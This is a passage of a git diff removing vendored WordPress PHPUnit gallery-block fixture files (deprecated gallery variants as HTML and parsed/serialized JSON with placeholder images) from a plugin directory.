"core/gallery", - "attrs": { - "columns": 1, - "linkTo": "none" - }, - "innerBlocks": [ - { - "blockName": "core/image", - "attrs": { - "id": 1421, - "sizeSlug": "large", - "linkDestination": "none", - "inheritedAttributes": { - "linkDestination": true, - "linkTarget": true, - "sizeSlug": true - } - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - }, - { - "blockName": "core/image", - "attrs": { - "id": 1440, - "sizeSlug": "large", - "linkDestination": "none", - "inheritedAttributes": { - "linkDestination": true, - "linkTarget": true, - "sizeSlug": true - } - }, - "innerBlocks": [], - "innerHTML": "\n\t
      \n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t\n\t
      \n\t" - ] - } - ], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html deleted file mode 100644 index a1398677..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.server.html deleted file mode 100644 index 024adf21..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.server.html +++ /dev/null @@ -1,17 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.html deleted file mode 100644 index f982c52a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.html +++ /dev/null @@ -1,10 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.json deleted file mode 100644 index 9e15ee7f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.json +++ /dev/null @@ -1,35 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "columns": 2, - "imageCrop": true, - "linkTo": "none", - "align": "wide", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==", - "alt": "title", - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/jpeg;base64,/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=", - "alt": "title", - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.parsed.json deleted file mode 100644 index 1f2ad33f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "columns": 2, - "align": "wide" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.serialized.html deleted file mode 100644 index d0210e6a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.server.html deleted file mode 100644 index b75b284f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.server.html +++ /dev/null @@ -1,9 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.html deleted file mode 100644 index 7ff72ee6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.html +++ /dev/null @@ -1,14 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.json deleted file mode 100644 index a6077680..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.json +++ /dev/null @@ -1,39 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "columns": 2, - "imageCrop": true, - "linkTo": "none", - "align": "wide", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==", - "alt": "title", - "caption": "", - "id": 1, - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/jpeg;base64,/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=", - "alt": "title", - "caption": "", - "id": 2, - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.parsed.json deleted file mode 100644 index 84f1f77d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "columns": 2, - "align": "wide" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.serialized.html deleted file mode 100644 index cab51d71..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.server.html deleted file mode 100644 index 399594ce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.server.html +++ /dev/null @@ -1,13 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.html deleted file mode 100644 index 8b23e16a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.html +++ /dev/null @@ -1,14 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.json deleted file mode 100644 index 9ac2c197..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.json +++ /dev/null @@ -1,36 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "imageCrop": true, - "linkTo": "none", - "align": "wide", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==", - "alt": "title", - "caption": "", - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "data:image/jpeg;base64,/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=", - "alt": "title", - "caption": "", - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.parsed.json deleted file mode 100644 index cbb35065..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "ids": [ null, null ], - "align": "wide" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.serialized.html deleted file mode 100644 index 3cf2bb60..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.server.html deleted file mode 100644 index e017c1a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.server.html +++ /dev/null @@ -1,13 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.html deleted file mode 100644 index 2ec63683..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.html +++ /dev/null @@ -1,21 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.json deleted file mode 100644 index dad150cc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.json +++ /dev/null @@ -1,51 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "caption": "", - "imageCrop": true, - "linkTo": "none", - "align": "wide", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2016/09/cropped-img_9054-1.jpg?w=190", - "alt": "", - "caption": "", - "id": 1421, - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2017/09/cropped-l1001498-1.jpg?w=580", - "alt": "", - "caption": "", - "id": 1440, - "linkDestination": "none" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://sergioestevaofolio.files.wordpress.com/2017/05/cropped-l1005945-2-2.jpg?w=580", - "alt": "", - "caption": "", - "id": 1362, - "linkDestination": "none" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.parsed.json deleted file mode 100644 index 04dc77f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "ids": [ "1421", "1440", "1362" ], - "align": "wide" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.serialized.html deleted file mode 100644 index 7ecc6f85..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.serialized.html +++ /dev/null @@ -1,13 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.server.html deleted file mode 100644 index b835e5f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.server.html +++ /dev/null @@ -1,20 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.html deleted file mode 100644 index d97624d4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.html +++ /dev/null @@ -1,48 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.json deleted file mode 100644 index 9ef1f03b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.json +++ /dev/null @@ -1,57 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "caption": "", - "imageCrop": true, - "linkTo": "media", - "sizeSlug": "large", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.parsed.json deleted file mode 100644 index f2680567..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "ids": [ 705, 704, 703 ], - "linkTo": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.serialized.html deleted file mode 100644 index 74fb0a12..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.serialized.html +++ /dev/null @@ -1,13 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.server.html deleted file mode 100644 index f69cf83a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.server.html +++ /dev/null @@ -1,48 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.html deleted file mode 100644 index 0dcf6042..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.html +++ /dev/null @@ -1,54 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.json deleted file mode 100644 index 9ef1f03b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.json +++ /dev/null @@ -1,57 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "caption": "", - "imageCrop": true, - "linkTo": "media", - "sizeSlug": "large", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/04/test-image-1024x683.jpg", - "id": 703, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - } - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.parsed.json deleted file mode 100644 index 2b42128d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/gallery", - "attrs": { - "ids": [ 705, 704, 703 ], - "linkTo": "media" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ - "\n\n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.serialized.html deleted file mode 100644 index 74fb0a12..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.serialized.html +++ /dev/null @@ -1,13 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.server.html deleted file mode 100644 index 7952cd8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.server.html +++ /dev/null @@ -1,54 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.html deleted file mode 100644 index 61b70f33..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.json deleted file mode 100644 index 4eaf85b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.json +++ /dev/null @@ -1,120 +0,0 @@ -[ - { - "name": "core/gallery", - "isValid": true, - "attributes": { - "images": [], - "ids": [], - "shortCodeTransforms": [], - "caption": "", - "imageCrop": true, - "fixedHeight": true, - "linkTo": "media", - "sizeSlug": "large", - "allowResize": false - }, - "innerBlocks": [ - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1-682x1024.jpg", - "id": 705, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "alt": "", - "caption": "", - "href": "http://wptest.local/wp-content/uploads/2020/09/test-image-edited-1024x682.jpg", - "id": 704, - "sizeSlug": "large", - "linkDestination": "media" - }, - "innerBlocks": [] - }, - { - "name": "core/image", - "isValid": true, - "attributes": { - "url": 